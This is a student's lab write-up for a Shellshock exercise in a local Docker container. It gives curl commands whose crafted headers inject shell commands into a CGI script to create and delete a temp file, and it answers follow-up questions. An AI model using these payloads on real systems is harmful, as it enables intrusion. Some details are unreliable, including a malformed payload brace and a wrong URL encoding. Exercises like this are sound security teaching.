Module 2

Parte A

Exercise 1

We went to this link https://hub.docker.com/r/jsimao/seed-shellshock and on the terminal we did the command:

```
docker pull jsimao/seed-shellshock
```

Ponto a)

After that, we ran the command below to start the docker docker run -it -p 8080:80 --name seed jsimao/seed-shellshock

Ponto b)

Run these commands below in the terminal: http://localhost:8080/cgi-bin/getenv.cgi http://localhost:8080/cgi-bin/vul.cgi

Exercise 2

Ponto a)

```
curl -H "ATTACK:() {echo hello; }; echo Content_type: text/plain; echo; /bin/touch
/tmp/ficheiro" localhost:8080/cgi-bin/vul.cgi

curl -H "ATTACK:() { echo hello; }; /bin/bash -c \"touch /tmp/ficheiro\""
localhost:8080/cgi-bin/vul.cgi
```

Ponto b)

```
curl -H "ATTACK:() {echo hello; }; echo Content_type: text/plain; echo; /bin/rm
/tmp/ficheiro" localhost:8080/cgi-bin/vul.cgi

curl -H "ATTACK:() { echo hello; }; /bin/bash -c \"rm /tmp/ficheiro\""
localhost:8080/cgi-bin/vul.cgi
```

Ponto c)

It doesn't work because that file needs root privilege and Apache runs on a user account, and not as root.

Ponto d)

No because web url doesn't accept blank spaces. To pass blank spaces in the url data after the ?, we need to convert that "charactere" to the "%20B" code. The issue with that is that bash won't convert that code to a blank space. So no, it's not possible.